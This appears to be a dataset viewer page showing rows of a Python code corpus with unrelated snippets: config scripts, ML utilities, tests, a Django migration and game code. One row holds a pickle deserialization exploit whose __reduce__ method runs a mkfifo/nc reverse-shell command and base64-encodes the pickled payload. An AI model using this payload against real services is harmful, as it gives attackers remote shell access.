id stringlengths 1 265 | text stringlengths 6 5.19M | dataset_id stringclasses 7
values |
|---|---|---|
1635119 | <gh_stars>1-10
# vim: set ts=4 sw=4 expandtab:
class Notification(object):
STARTUP = "startup"
SHOW_DIALOG = "showDialog"
HELLO = "hello"
# Menu
MENU_FILE_OPEN = "menuFileOpen"
MENU_FILE_SAVEAS = "menuFileSaveAs"
MENU_FILE_PREFS = "menuFilePreferen... | StarcoderdataPython |
3322062 | #!/bin/env python
"""
ec2-init.py
---------------------------
Initialize Amazon EC2 Host
<NAME> <<EMAIL>>
Features:
-------------
Sets hostname based on instance user-data hostname
Sends email with hostname, instance type, and IP address
Will update DNS in Route53 if boto finds credentials or has IAM role and zone ... | StarcoderdataPython |
131626 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import numpy as np
import argparse
import random
import torch
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.utils.data
import torchvision.transforms as transforms
from torch.autograd import Variable
import utils
from util... | StarcoderdataPython |
4841316 | <reponame>surasakcho/zkyhaxpy<filename>zkyhaxpy/ml_tools.py
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from sklearn import svm, datasets
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
from sklearn.utils.multiclass import unique_labels
from ... | StarcoderdataPython |
163791 | #!/usr/bin/env python3
"""
User management script for the wireguard server
"""
import os
import io
import stat
import shutil
import sys
import platform
import argparse
import hashlib
import crypt
import logging
import secrets
import string
import subprocess
import pathlib
class OperationError(Exception):
'''r... | StarcoderdataPython |
159276 | <reponame>Lucioric2000/zippy
#!/usr/bin/env python
__doc__ == """Interval Lists"""
__author__ = "<NAME>"
__license__ = "MIT"
__version__ = "2.3.4"
#from zippy import __version__
__maintainer__ = "<NAME>"
__email__ = "<EMAIL>"
__status__ = "Production"
import sys
from math import ceil
class Interval(object):
de... | StarcoderdataPython |
162886 | <filename>scripts/sdn_topo_gen.py
'''
Generate test topology based on user input.
SDN test cases can be built based on this topology.
'''
import sys
import copy
from random import choice
class basic_topo():
def __init__(self):
# set domain, project to defaults
self.domain = 'default-domain'
... | StarcoderdataPython |
1777299 | """Creates a new database.
Running this will delete existing database including all data.
"""
import sqlite3
import tkinter as tk
from tkinter import ttk
from tkinter import messagebox
from schema import *
class Application(tk.Toplevel):
def __init__(self, master=None):
tk.Toplevel.__init__(s... | StarcoderdataPython |
4831853 | <filename>daceml/transformation/input_to_constant.py
from typing import Dict
import dace
from dace import registry, dtypes, properties, memlet as mm, symbolic
from dace.sdfg import nodes
from dace.sdfg import utils as sdutil
from dace.sdfg.replace import replace_properties
from dace.transformation import transformatio... | StarcoderdataPython |
1661023 | def memory_game(starting_numbers, end_turn=2020):
# Create log of numbers when they were last said and if this is the first
# time they have been said
numbers = dict()
# Initialise using starting numbers except for the last
numbers = {number: turn
for turn, number in enumerate(starti... | StarcoderdataPython |
3290747 | <reponame>Py-Himanshu-Patel/Learn-Python
import functools
def singleton(cls):
@functools.wraps(cls)
def wrapper(*args, **kwargs):
if not wrapper.instance:
wrapper.instance = cls(*args, **kwargs)
return wrapper.instance
wrapper.instance = None
return wrapper
@singleton
class TheOne:
pass
# --------- check... | StarcoderdataPython |
27102 | # Generated by Django 2.0.8 on 2019-06-19 19:03
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('wagtailimages', '0001_squashed_0021'),
('app_challenges_sections_units', '0035_auto_20190619_1847'),
]
operations = [
migrations.RenameModel... | StarcoderdataPython |
1707596 | """Auto-generated file, do not edit by hand. ZW metadata"""
from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata
PHONE_METADATA_ZW = PhoneMetadata(id='ZW', country_code=None, international_prefix=None,
general_desc=PhoneNumberDesc(national_number_pattern='[139]\\d\\d(?:\\d{2})?', possible_lengt... | StarcoderdataPython |
3269382 | #network
from Script.networking.TCPClient import TCPClient
from Script.networking.TCPData import TCPData
#tile
from Script.Tile import Tile
#tank
from Script.Tanks.testTank import testTank
#bullet
from Script.Bullets.testBullet import testBullet
class GameManager:
#This class is Singleton
# _unique_instanc... | StarcoderdataPython |
171493 | <filename>python/strings/score-of-parenthesis.py
import unittest
def scoreOfParentheses(s: str) -> int:
ans = bal = 0
for i, x in enumerate(s):
if x == "(":
bal += 1
else:
bal -= 1
if s[i - 1] == "(":
ans += 1 << bal
return ans
class T... | StarcoderdataPython |
155326 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Code accompanying the manuscript:
"Reinterpreting the relationship between number of species and
number of links connects community structure and stability"
-------
v1.0.0 (First release)
-------
For any question or comment, please contact:
<NAME>(1), <EMAIL>
(1)... | StarcoderdataPython |
99371 | from .operations import add, multiply
| StarcoderdataPython |
3292618 | <reponame>Fjelle/Spades<filename>card.py
import functools
suit_symbols = ["♠", "♥", "♣", "♦"]
suits = ["S", "H", "C", "D"]
suit_names = {"S": "Spades", "H": "Hearts", "C": "Clubs", "D": "Diamonds"}
numbers = ["2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K", "A"]
@functools.total_ordering
class Card:
def... | StarcoderdataPython |
147225 | import json
import sys
import time
from glob import glob
from adet.data.video_data.util import *
from PIL import Image
import os
def generate_detectron2_annotations(img_path, detectron2_annos_path, meta_path, split):
f = open(meta_path, )
data = json.load(f)
f.close()
video_id_names = lis... | StarcoderdataPython |
163031 | <reponame>ankit27kh/Computational-Physics-PH354
from math import *
def simpsons_rule(fx, a, b):
c = (a + b) / 2.0
h = abs(b - a) / 6.0
return h * (fx(a) + 4.0 * fx(c) + fx(b))
def recursive_asr(fx, a, b, eps, whole):
c = (a + b) / 2.0
left = simpsons_rule(fx, a, c)
right = simpsons_rule(fx, ... | StarcoderdataPython |
3248423 | <reponame>cfpb/regulations-core<gh_stars>1-10
import json
from unittest import TestCase
from django.test.client import Client
from mock import patch
from regcore_write.views.diff import *
class ViewsDiffTest(TestCase):
def test_add_not_json(self):
url = '/diff/lablab/oldold/newnew'
response = ... | StarcoderdataPython |
3239259 | #!/usr/bin/env python
"""The test package contains test data files as well as unit tests.
run_tests
===========
.. automodule:: test.run_tests
:members:
test_navigation
===============
.. automodule:: test.test_navigation
:members:
test_parse
===========
.. automodule:: test.test_parse
:members:
t... | StarcoderdataPython |
3347385 | <gh_stars>10-100
# @Date: 2018-07-16T20:51:19+02:00
# @Email: <EMAIL>
# @Last modified time: 2018-08-10T12:23:29+02:00
# File : img2lczMap_oneCity.py
# Author : <NAME>
# Date : 07.07.2018 12:07:22
# Last modified: 07.07.2018 12:07:27 <NAME>
# first version, fit to gl... | StarcoderdataPython |
3276874 | <gh_stars>10-100
# -----------------------------------------------------------------------------------------------------
# CONDOR
# Simulator for diffractive single-particle imaging experiments with X-ray lasers
# http://xfel.icm.uu.se/condor/
# --------------------------------------------------------------------------... | StarcoderdataPython |
42763 | from collections import namedtuple
import datetime
import calendar
import struct
import sys
class StructType(object):
"""
Automatically uses SHAPE to pack/unpack simple structs.
"""
@classmethod
def from_binary(cls, data):
try:
return cls(*cls._decode(*struct.unpack(cls.SHAPE, data)))
except:
sys.stderr... | StarcoderdataPython |
3226464 | import torch
def pi_to_y(Pi):
"""
Turns a class membership matrix into a vector of class labels.
Args:
Pi: A one-hot encoded class membership matrix (N, K)
Returns:
A vector y of class labels (N, )
"""
return torch.argmax(
Pi, # (N, K)
dim=1
) # (N, )
def... | StarcoderdataPython |
1740091 | <filename>l06/12.py
# Задача №1:
# Сформировать массив из N элементов вида [1,2,3,4,...N]
#
# Вариант решения №2, через превращение range() в массив
#
# =!!= Запускать с помощью Python3 =!!=
# Указываем количество
N = 10
# Создаем массив
A = [ *range(1,N+1) ]
# Выводим A
print( A )
# Пояснения:
# 1) range(1,N+1) со... | StarcoderdataPython |
1799806 | from pycograph.config import settings
from pycograph.schemas.parse_result import PackageWithContext
def test_package_production_code():
package = PackageWithContext(
name="example",
full_name="example",
dir_path="",
)
assert package.is_test_object is False
assert package.label... | StarcoderdataPython |
3337454 | #!/usr/bin/env python
"""
conference.py -- Udacity conference server-side Python App Engine API;
uses Google Cloud Endpoints
$Id: conference.py,v 1.25 2014/05/24 23:42:19 wesc Exp wesc $
created by wesc on 2014 apr 21
"""
__author__ = '<EMAIL> (<NAME>)'
from datetime import datetime
from datetime import time... | StarcoderdataPython |
1796761 | #!/usr/bin/env python3
#
# Copyright 2019 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... | StarcoderdataPython |
55535 | from flask import Flask
from lib.router import Router
app = Flask(__name__)
Router.run(app) | StarcoderdataPython |
67095 | <reponame>roman-annamoney/pytest-pg<gh_stars>0
import collections
import re
import sys
from typing import Tuple
from .fixtures import PG, pg, pg_11, pg_12, pg_13, pg_14, run_pg # noqa
__all__: Tuple[str, ...] = ("PG", "run_pg", "pg", "pg_11", "pg_12", "pg_13", "pg_14")
__version__ = "0.0.9"
version = f"{__version_... | StarcoderdataPython |
168098 | #!/usr/bin/env python
# Copyright (c) 2011 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import hashlib
import optparse
import os
import urllib2
import sys
import time
# Print a dot every time this number of bytes is r... | StarcoderdataPython |
4821133 | <reponame>joocer/cronicl
from .null_operation import NullOperation
from .validator_operation import ValidatorOperation
from .write_to_file_operation import WriteToFileOperation
from .write_to_screen_operation import WriteToScreenOperation
from .base_operation import BaseOperation
| StarcoderdataPython |
100765 | <filename>tests/python/gaia-ui-tests/gaiatest/tests/functional/clock/test_clock_create_new_alarm.py
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
from gaiatest import... | StarcoderdataPython |
3309608 | from collections import Counter
from itertools import chain
from tqdm import tqdm
from typing import List, Iterable
UNK = ':UNK-{}:'
UNK_CLASSES = 4
class Vocab(dict):
UNK = UNK
UNK_CLASSES = UNK_CLASSES
TOKENS = [UNK.format(i) for i in range(UNK_CLASSES)]
def __init__(self):
super().__ini... | StarcoderdataPython |
3295977 | <reponame>coddingtonbear/python-taskwarrior
import datetime
import os
import shutil
import tempfile
import uuid
from unittest import TestCase
import pytest
import pytz
from ..client import Client
from ..client import Q
from ..exceptions import ClientUsageError
from ..exceptions import MultipleObjectsFound
from ..exce... | StarcoderdataPython |
152148 | <reponame>blan4/ImagesSimilarityDemo
from vk_api import VkApi
from vk_api import VkTools
from settings import config
from vk.settings import secrets
KEYS = ['id', 'owner_id', 'album_id', 'date', 'big', 'small']
def main(owner_id):
session = VkApi(token=secrets.token, app_id=secrets.app_id, client_secret=secrets... | StarcoderdataPython |
1736209 | from EP_N_Env import *
import math
import random
import numpy as np
import matplotlib.pyplot as plt
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from pdb import set_trace as bp
Tensor = torch.FloatTensor
def get_input_optimizer(input_array):
# this line to show ... | StarcoderdataPython |
186335 | from io import StringIO
| StarcoderdataPython |
3316517 | import numpy as np
import pytest
from napari import layers
from napari.layers.utils._link_layers import (
layers_linked,
link_layers,
unlink_layers,
)
BASE_ATTRS = {}
BASE_ATTRS = {
'opacity': 0.75,
'blending': 'additive',
'visible': False,
'editable': False,
'shear': [30],
}
IM_ATTRS... | StarcoderdataPython |
1634342 | <reponame>romulus97/HYDROWIRES
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 31 14:31:32 2018
@author: YSu
"""
from __future__ import division
from scipy.optimize import differential_evolution
import pandas as pd
import numpy as np
from datetime import datetime
# ORCA flow data
df_flows = pd.read_excel('reservoi... | StarcoderdataPython |
3219120 | #!/use/bin/env python
"""
Network Imports
"""
from .sound_match_http_server import SoundMatchHTTPServer
from .sound_match_osc_server import SoundMatchOSCServer
| StarcoderdataPython |
145565 | <filename>code/building_a_tower/sol_324.py
# -*- coding: utf-8 -*-
'''
File name: code\building_a_tower\sol_324.py
Author: <NAME>
Date created: Oct 20, 2018
Python Version: 3.x
'''
# Solution to Project Euler Problem #324 :: Building a tower
#
# For more information see:
# https://projecteuler.net/pr... | StarcoderdataPython |
1753463 | <filename>tensorflow_advanced_segmentation_models/models/UNet.py
import tensorflow as tf
from ._custom_layers_and_blocks import ConvolutionBnActivation, Upsample_x2_Block
from ..backbones.tf_backbones import create_base_model
################################################################################
# UNe... | StarcoderdataPython |
1671358 | <gh_stars>0
# Copyright 2009-2010 <NAME>
# Copyright 2009-2010 Intelerad Medical Systems Incorporated
# Copyright 2010-2011 Fog Creek Software
# Copyright 2010-2011 Unity Technologies
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version.... | StarcoderdataPython |
14689 | # -*- coding: utf-8 -*-
from __future__ import absolute_import, print_function, unicode_literals
import datetime
import decimal
import platform
import sys
import types
from itertools import chain
#stripped version of SIX
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
PY_35 = sys.version_info >= (3, 5... | StarcoderdataPython |
126011 | <filename>Python/Remote Procedure Call/rpc_client.py
from xmlrpc.client import ServerProxy
client = ServerProxy('http://localhost:3000')
# Perimeter of rectangle function
def perimeter_of_rect(l, b):
return 2 * (l + b)
if __name__ == '__main__':
print("Area and Perimeter of Rectangle")
length = int(inpu... | StarcoderdataPython |
3349338 | <reponame>dmguezjaviersnet/IA-Sim-Comp-Project<filename>orb_simulator/sprites_and_graph_ent/space_agent.py
from abc import abstractmethod
import heapq
from typing import Any, List
from sprites_and_graph_ent.satellite import Satellite
from sprites_and_graph_ent.space_debris import SpaceDebris
from sprites_and_graph_ent.... | StarcoderdataPython |
89192 | #!/usr/bin/env python
"""
@package ion.agents.data.test.test_external_dataset_agent_slocum
@file ion/agents/data/test/test_external_dataset_agent_slocum.py
@author <NAME>
@brief
"""
# Import pyon first for monkey patching.
from pyon.public import log, IonObject
from pyon.ion.resource import PRED, RT
from interface.se... | StarcoderdataPython |
177247 | import json
import pymysql
import requests
import decimal
import config
rds_host = "rds-instance-endpoint"
name = rds_config.db_username
password = rds_config.db_password
db_name = rds_config.db_name
"""index.py 람다 함수로부터 호출되어서 경도와 위도를 받아
반경 100m이내의 카페 정보를 데이터베이스에 저장한다."""
def lambda_handler(event, context):
lati... | StarcoderdataPython |
3275226 | # INPUT
weightOnEarth = float(input('Type your weight in kg: '))
# PROCESS
planets = {
'Earth': weightOnEarth,
'Moon': (weightOnEarth/9.81) * 1.622,
'Mercury': (weightOnEarth/9.81) * 3.7,
'Venus': (weightOnEarth/9.81) * 8.87,
'Mars': (weightOnEarth/9.81) * 3.711,
'Jupiter': (weightOnEarth/9.8... | StarcoderdataPython |
123001 | <reponame>sail-sg/mugs
# Copyright 2022 Garena Online Private Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... | StarcoderdataPython |
3224805 | <gh_stars>0
# -*- coding: utf-8 -*-
from django.utils.translation import ugettext_lazy as _
from django.contrib.sites.models import Site
from cms.plugin_base import CMSPluginBase
from cms.plugin_pool import plugin_pool
from .forms import LinkForm
from .models import Link
class LinkPlugin(CMSPluginBase):
model =... | StarcoderdataPython |
3385638 | <gh_stars>1-10
import zmq
import numpy as np
from typing import Iterable, Union, Tuple
from .parser import pack, unpack, unpack_dict, FORMATS
class ZmqServer:
def __init__(self, address: str,
inputs: Iterable[Union[str, Tuple[str, int, int]]] = None, outputs: Iterable[str] = None):
self... | StarcoderdataPython |
173044 | <gh_stars>0
def read_data(filename="data/input1.data"):
with open(filename) as f:
return f.read()
def rot(l, i):
offset = len(l) // 2
pos = (i+offset) % len(l)
return l[pos] if l[pos] == l[i] else 0
if __name__ == "__main__":
captcha = [int(x) for x in read_data()]
captcha.append(cap... | StarcoderdataPython |
185837 | <gh_stars>0
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
'/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base6... | StarcoderdataPython |
1743118 | # Name of the run (used to save the parameters and the output).
run_name = Citlaltepetl_A
# Type of simulation (1: Default mode: Construction of probability map. 2: Calibration mode).
type_sim = 1
# Source of DEM.
# source_dem = type of input data (1: SRTM 30 m. 2: Uploaded DEM (UTM). 3: Uploaded Data (lat, lon)).
# ... | StarcoderdataPython |
4828143 | <reponame>enervee/sentry-django-settings<filename>tests/test_sentry_app.py
import logging
from unittest import mock
from django.apps import AppConfig
class TestSentryApp:
def test_ready_initializes_sentry(self, settings):
"""
If the SENTRY setting is available and "enabled" is set to True, the Ap... | StarcoderdataPython |
3228859 | <filename>src/state.py<gh_stars>0
'''
This class keeps track of in game state
'''
import sys
import os
from enum import Enum
from PIL import Image
from map_parse import MapGraph
class GameState:
def __init__(self, mapPng, agentParams):
# Mapping
self.mapGraph = MapGraph(mapPng)
... | StarcoderdataPython |
1696850 | def main():
c=0
line_list=[]
with open('datasets/rosalind_ini5.txt') as input_file:
for line in input_file.readlines():
c=c+1
if(c%2==0):
line_list.append(line)
print('\n'.join(line_list))
with open('solutions/rosalind_ini5.txt', 'w') as outpu... | StarcoderdataPython |
4830701 | <reponame>gitter-badger/pygsuite<gh_stars>0
from .auto_text import AutoText
from .column_break import ColumnBreak
from .equation import Equation
from .footnote_reference import FootnoteReference
from .horizontal_rule import HorizontalRule
from .inline_object_element import InlineObjectElement
from .page_break import Pa... | StarcoderdataPython |
3351139 | #!/usr/bin/env python
import os
import sys
import argparse
import src.system.include.configure as configure
available_os = ["LINUX", "FREERTOS"]
available_archs = ["X86", "GROUNDSTATION", "RPI", "NANOMIND", "ESP32", "AVR32"]
available_tests = ['test_cmd', 'test_unit', 'test_load', 'test_bug_delay', 'test_sgp4', 'test_... | StarcoderdataPython |
125542 | from setuptools import setup
from support.version import version, main_version
from support.classifiers import classifiers
name = 'omuse'
author = 'The AMUSE/ OMUSE team'
author_email = '<EMAIL>'
license_ = "Apache License 2.0"
url = 'https://github.com/omuse-geoscience/omuse'
install_requires = [
'omuse-framewor... | StarcoderdataPython |
102983 | #!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
Time:
2021-07-30 4:58 下午
Author:
huayang
Subject:
"""
from huaytools.pytorch.backend.distance_fn import euclidean_distance_nosqrt
from huaytools.pytorch.modules.wrapper.encoder import EncoderWrapper
from huaytools.pytorch.loss import TripletLoss
class... | StarcoderdataPython |
1683903 | # -*- coding: utf-8 -*-
# :Project: pglast -- Printer functions for SQL DML nodes
# :Created: sab 05 ago 2017 16:34:08 CEST
# :Author: <NAME> <<EMAIL>>
# :License: GNU General Public License version 3 or later
# :Copyright: © 2017, 2018, 2019, 2020, 2021 <NAME>
#
from .. import enums
from ..node import Missin... | StarcoderdataPython |
3234665 | <gh_stars>100-1000
import os
class Config:
SECRET_KEY = ''
SQLALCHEMY_DATABASE_URI = 'sqlite:///db/app.db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
LANGUAGES = ['en', 'nl']
def __init__(self):
for name, var in os.environ.items():
if hasattr(Config, name):
setat... | StarcoderdataPython |
4834304 | <filename>tool/core/widgets/__init__.py
from .animation_editor_widget import AnimationEditorWidget
from .animation_player_widget import AnimationPlayerWidget
from .character_widget import CharacterWidget
from .figure_controller_widget import FigureControllerWidget
from .group_animation_controller_widget import GroupAn... | StarcoderdataPython |
1616711 | <reponame>ethereum/py-hdwallet<filename>tests/core/test_bip32_vectors.py
import pytest
from hdwallet.keys import (
PrivateWalletNode,
)
@pytest.mark.parametrize(
'seed_hexstr,path,expected_public_base58,expected_private_base58', # type: ignore
(
# BIP 32 test vector 1
(
'0001... | StarcoderdataPython |
178687 | from aiofiles.os import remove
async def delete_temp_file(file_path):
await remove(file_path)
| StarcoderdataPython |
49610 | <filename>Logic/OR.py
import numpy as np
def OR(x1, x2):
x = np.array([x1, x2])
y = np.array([0.5, 0.5])
b = -0.2
tmp = np.sum(x*y) + b
if tmp <= 0:
return 0
else:
return 1
| StarcoderdataPython |
4834104 | <reponame>moraisaugusto/tic-tac-toe-challenge<filename>config.py
DATABASE_URI = 'sqlite:///db.sqlite'
| StarcoderdataPython |
1659206 | import time
import os.path as osp
import itertools
import argparse
import wget
import torch
from scipy.io import loadmat
from torch_scatter import scatter_add
from torch_sparse.tensor import SparseTensor
short_rows = [
('DIMACS10', 'citationCiteseer'),
('SNAP', 'web-Stanford'),
]
long_rows = [
('Janna', ... | StarcoderdataPython |
3356842 | from .YtMsg_pb2 import *
import math
class Point:
def __init__(self, x=0, y=0):
self.x = x
self.y = y
def __add__(self, o):
return Point(self.x + o.x, self.y + o.y)
def __sub__(self, o):
return Point(self.x - o.x, self.y - o.y)
def __truediv__(self, o):
return Po... | StarcoderdataPython |
143440 | <reponame>lqiang2003cn/poet<filename>poet_distributed/niches/core.py
# Copyright (c) 2019 Uber Technologies, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org... | StarcoderdataPython |
1697575 | """Sutoppu
A simple implementation of Specification pattern.
Copyright (C) 2019 - u8slvn - <NAME>
This module is released under the MIT License:
http://www.opensource.org/licenses/mit-license.php
"""
from abc import ABCMeta, abstractmethod
import functools
__all__ = ["Specification"]
__version__ = "0.1.2"
class _S... | StarcoderdataPython |
1603518 | '''
Get the name and two grades of various students and put them in a list.
In the end, show a bulletin with the media, and allow the user to show the grades of
each student individually.
'''
students = list()
while True:
name = input('Name: ')
grade = [float(input('Grade 1: ')), float(input('Grad... | StarcoderdataPython |
1678259 | # ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~
# MIT License
#
# Copyright (c) 2021 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without res... | StarcoderdataPython |
3372235 | import urllib, urllib2, httplib
import json
import re
import xml.etree.ElementTree as ET
import sys
from file_parser import fromFile
from random import randint
from api_key import key
class Prog():
def getSentences(self,list):
if len(list) == 1:
return list[0]
else:
rest = self.getSentences(list... | StarcoderdataPython |
4816927 | # file: netdevice/tests.py
from django.test import TestCase
from django.urls import reverse
from django.contrib.auth.models import User
from netdevice.models import router, network_os, interface, logical_interface, vrf
from bgp.models import aut_num
def create_router(network_os_name):
nos = network... | StarcoderdataPython |
3211075 | <filename>configs.py
import tensorflow as tf
from labelencode import *
"""
## Setting up training parameters
"""
model_dir = "retinanet/"
label_encoder = LabelEncoder()
num_classes = 80
batch_size = 2
learning_rates = [2.5e-06, 0.000625, 0.00125, 0.0025, 0.00025, 2.5e-05]
learning_rate_boundaries = [1... | StarcoderdataPython |
3242827 | import pandas as pd
from survey_data_dictionary_testing import DATA_DICTIONARY
# Load data
# We want to take the names list from our data dictionary
names = [x.name for x in DATA_DICTIONARY]
df = pd.read_csv('data/survey.csv', names=names, header=0) | StarcoderdataPython |
160193 | <filename>hippy/objects/boolobject.py
from hippy.objects.base import W_Object
class W_BoolObject(W_Object):
_immutable_fields_ = ['boolval']
supports_arithmetics = True
def __init__(self, boolval):
self.boolval = boolval
def is_true(self, space):
return self.boolval
def str(se... | StarcoderdataPython |
112095 | <filename>et/codecs.py
import logging
import json
import struct
import zlib
codecs = {
1: {
"description": "JSON codec",
"encoder": lambda d: json.dumps(d).encode("UTF-8"),
"decoder": lambda p: json.loads(p.decode("UTF-8")),
},
2: {
"description": "zlib-compressed JSON codec... | StarcoderdataPython |
1625791 | <reponame>wan2000/hcmus-person-reid<gh_stars>1-10
import os
from torch.utils.data import Dataset
from PIL import Image
from torchvision import transforms
import numpy as np
from .utils import *
class Market1501TrainVal(Dataset):
def __init__(self, root, transform=None, batch_size=32, shuffle=True):
self.r... | StarcoderdataPython |
1775137 | from __future__ import absolute_import
import copy
import json
import os
import sys
from contextlib import contextmanager
def update_dict_copy(a, b):
temp = copy.deepcopy(a)
temp.update(b)
return temp
@contextmanager
def inserted_sys_path(path):
if path:
sys.path.insert(0, path)
yiel... | StarcoderdataPython |
190005 | <filename>tests/test_ec2.py
# -*- coding:utf-8 -*-
from __future__ import absolute_import, division, print_function, unicode_literals
import pytest
import responses
from treehugger.ec2 import USER_DATA_URL, load_user_data_as_yaml_or_die
class TestLoadUserDataAsYamlOrDie:
@responses.activate
def test_succes... | StarcoderdataPython |
123375 | from .apeca import SDVXApeca as Apeca, SDVXApecaImport as ApecaImport
from .difficulty import (
SDVXDifficulty as Difficulty,
SDVXDifficulties as Difficulties,
SDVXDifficultyImport as DifficultyImport,
)
from .music import (
SDVXMusic as Music,
SDVXMusicGenre as MusicGenre,
SDVXGenres as Genres,... | StarcoderdataPython |
4809617 | import pymongo
client = pymongo.MongoClient(host='localhost', port=27017)
db = client.test
collection = db.students
result = collection.delete_one({'name': 'Kevin'})
print(result)
print(result.deleted_count)
result = collection.delete_many({'age': {'$lt': 25}})
print(result.deleted_count)
| StarcoderdataPython |
168657 | # Dummy class for packages that have no MPI
class MPIDummy(object):
def __init__(self):
pass
def Get_rank(self):
return 0
def Get_size(self):
return 1
def barrier(self):
pass
def send(self, lnlike0, dest=1, tag=55):
pass
def recv(self, source=1, tag=5... | StarcoderdataPython |
176415 | #this code is the workbench for q-learning
#it consists on a lifting particle that must reach a certain height
#it is only subjected to gravity
#Force applied to the particle might be fixed 9.9 or 9.7N
import numpy as np
import math
import random
import matplotlib.pyplot as plt
#INITIALIZE VARIABLES
####... | StarcoderdataPython |
3353897 | <filename>zerotwo/cogs/admin.py<gh_stars>0
import aiohttp
import discord
from discord.ext import commands
class Admin(commands.Cog):
"""Commands for controlling the bot.
Mostly owner only."""
def __init__(self, bot):
self.bot = bot
self._last_result = None
self.session = aiohttp.C... | StarcoderdataPython |
3330206 | """
This is a Handler Module to facilitate communication with JupyterHub in
the Rubin Observatory Science Platform context.
"""
import os
import requests
from notebook.utils import url_path_join as ujoin
from notebook.base.handlers import APIHandler
class RubinHub_handler(APIHandler):
"""
RubinHub Handler. C... | StarcoderdataPython |
3357874 | <reponame>readysetstem/readysetstem-api<filename>rstem/projects/led_matrix_games/dice.py
#!/usr/bin/env python3
#
# Copyright (c) 2014, <NAME>, LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Lice... | StarcoderdataPython |
3258471 | from lan.lan_ast import *
import copy
class AddToId(NodeVisitor):
""" Finds the Id and replaces it with a binop that
adds another variable to the id.
"""
def __init__(self, id, variable):
self.id = id
self.variable = variable
def changeIdNode(self, node):
if isinstance(no... | StarcoderdataPython |
1764352 | <reponame>nstarke/brick
from abc import ABC, abstractmethod
from signal import valid_signals
import shutil
from pathlib import Path
from logger import log_operation
class AbstractHarvester(ABC):
def __init__(self):
self._guids_dict = {}
self._ext = None
self.filter = lambda *args: True
... | StarcoderdataPython |
1760235 | <filename>tests/test_distributions.py<gh_stars>10-100
import numpy as np
import pytest
from episuite import distributions
class TestEmpiricalBootstrap:
def test_sample(self) -> None:
ones = np.ones(100, dtype=np.int32)
dist = distributions.EmpiricalBootstrap(ones)
samples = dist.sample(10... | StarcoderdataPython |
3289773 | <gh_stars>0
from __future__ import absolute_import, division, print_function
import os
from qtpy.QtCore import Qt
from qtpy import QtWidgets
from glue.utils.qt import set_cursor_cm
__all__ = ['data_wizard', 'GlueDataDialog']
def data_wizard():
""" QT Dialog to load a file into a new data object
Returns:
... | StarcoderdataPython |
46515 | <gh_stars>0
from flask import Flask, render_template
from flask.ext.script import Manager
from flask.ext.bootstrap import Bootstrap
from flask.ext.moment import Moment
from flask.ext.wtf import Form
from wtforms import StringField, SubmitField
from wtforms.validators import Required
app = Flask(__name__)
app.config['S... | StarcoderdataPython |
146255 | from .assets import *
| StarcoderdataPython |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.